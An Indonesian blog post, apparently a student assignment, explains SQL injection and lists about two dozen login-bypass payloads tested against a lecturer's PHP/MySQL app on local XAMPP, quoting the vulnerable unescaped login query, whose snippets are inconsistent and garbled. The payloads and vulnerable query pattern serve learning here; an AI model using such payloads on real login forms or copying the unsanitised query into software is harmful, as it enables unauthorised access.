Assalamualaikum Gan, ane mau share Tugas Kuliah ane tentang SQL Injection, semoga bermanfaat buat agan sekalian..
- PENGERTIAN
Injeksi SQL (Bahaasa Inggris: SQL Injection)adalah sebuah teknik yang menyalahgunakan sebuah celah keamanan yang terjadi dalam lapisan basis data sebuah aplikasi. Celah ini terjadi ketika masukan pengguna tidak disaring secara benar dari karakter-karakter pelolos bentukan string yang diimbuhkan dalam pernyataan SQL atau masukan pengguna tidak bertipe kuat dan karenanya dijalankan tidak sesuai harapan. Ini sebenarnya adalah sebuah contoh dari sebuah kategori celah keamanan yang lebih umum yang dapat terjadi setiap kali sebuah bahasa pemrograman atau skrip diimbuhkan di dalam bahasa yang lain.
SQL Injection dapat menembus sebuah keamanan website, teknik ini memungkinkan kita masuk ke suatu system yang terproteksi sebagai siapa saja (Anonymous) dengan hanya mengetahui username tanpa harus mengetahui passwordnya bahkan kita juga bisa login tanpa perlu mengetahui username dan password sama sekali SQL Injection merupakan teknik hacking yang memanfaatkan perintah SQL untuk memanipulasi script pada web korban sehingga script tersebut meloloskan perintah SQL yang simasukkan si penyerang.
- STUDI KASUS
Berdasarkan script yang di berikan oleh pak Eka, baik itu script PHP dan Databasenya, maka kita akan melakukan analisa apakah sebuah web dapat ditembus dengan teknik SQL Injection ini.
Sebelum memulai melakukan analisa, siapkan alat dan bahanya :
1. Script PHP
2. Database Mysql
3. Server Lokal ‘XAMPP’
4. Beberapa Laptop (Bisa juga hanya 1 Laptop)
Berikut merupakan beberapa karakter atau String yang kami cobakan untuk menjebol web buatan sendiri.
- ' or '1'='1 {J}
- ' or 'x'='x {T}
- ' or 0=0 -- {J}
- " or 0=0 -- {T}
- or 0=0 -- {T}
- ' or 0=0 # {J}
- " or 0=0 # {T}
- or 0=0 # {T}
- ' or 'x'='x {J}
- " or "x"="x {T}
- ') or ('x'='x {T}
- ' or 1=1-- {J}
- " or 1=1-- {T}
- or 1=1-- {T}
- ' or a=a-- {J}
- " or "a"="a {T}
- ') or ('a'='a {T}
- ") or ("a"="a {T}
- hi" or "a"="a {T}
- hi" or 1=1 -- {T}
- hi' or 1=1 -- {T}
- ' or '1=1' {J}
- a' or 't'='t {J}
‘T’ = Tidak
- ANALISA
Oke setelah di coba ternyata ada string yang bisa menembus dan ada yang tidak bisa. Setelah kita searching di google, mengapa hal ini bisa terjadi ternyat di dapati kesimpulan seperti di bawah ini.
§ Pada script login.php, terdapat perintah untuk memeriksa login seperti di bawah ini.
$username = $_POST['user'];
$password = $_POST['pass'];
$s = "SELECT * FROM data WHERE user ='$user' and pass
= ‘$pass’”;
Nah, Script inilah yang bisa kita manfaatkan untuk melakukan SQL injection. Sebagai Login standart yang tertetera seharusnya user harus memasukkan :
Username : admin
Password : admin1234
§ Script PHP yang telah disebutkan diatas,bisa dijebol Untuk mewujudkan niat jahat kita cukup membuat query SQL "kebingungan" sehingga meloloskan nilai true atau string kosong (‘ ‘) tanpa mengecek keberadaan akun user pada field username dan password pada tabel login.
Misalanya :
Kita masukkan script: ‘ OR ‘s’='s pada input username dan password.
Username = ‘ OR ‘s’='s
Password = ‘ OR ‘s’='s
Script yang kita masukkan tadi akan mengacaukan query :
$s = “SELECT * FROM data WHERE user ='$user' and pass
= ‘$pass’”;
Menjadi :
$s = “SELECT * FROM login WHERE user= ‘ OR ‘s’=’s’ and pass
= ‘ OR ‘s’s=’s’”;
Artinya :
username = ‘ ‘ atau username = true
password = ‘ ‘ atau password = true
maka user akan dapat login.
§ Dulu jaman pertama kalinya bugs VP-ASP (Software Management untuk pembayaran online), Anda mungkin mengetahui tentang penggunaan karakter single quote (‘) dengan penambahan OR (logical operator) dan tanda sama dengan (=) di antara single quote tersebut.
Login: ‘ OR ‘’=’
Password: ‘ OR ‘’=’
§ Jadi, setelah kami coba mencoba ternyata yang berpengaruh juga ada pada string ( ‘ ) dan ( = ).
Kalau kita membuat kombinasi yang tepat dengan menyisipkan kedua string di atas maka akan dapat ditembus web tersebut (Hanya Web yang dibrikan oleh pak eka)
Kode Kombinasi string yang tepat, untuk menjebol web pak eka SBB:
( ‘ ‘’=’ )
Sedangakn pada Kode SQL diatas yang tidak jadi, itu karena kombinasi
Kodenya tidak memuat string ( ‘ ) dan ( = ). Serta penambahan string
Yang tidak sesuai dan adanya penambhan karakter di depan atau di
Belkang string awal dan akhit ( ‘ ).
Oke, sekian dari ane gan.. Pengunjung yang baik akan meninggalkan jejak komentar di bawah. Keep Blogging Gan !
Wassalamualaikum..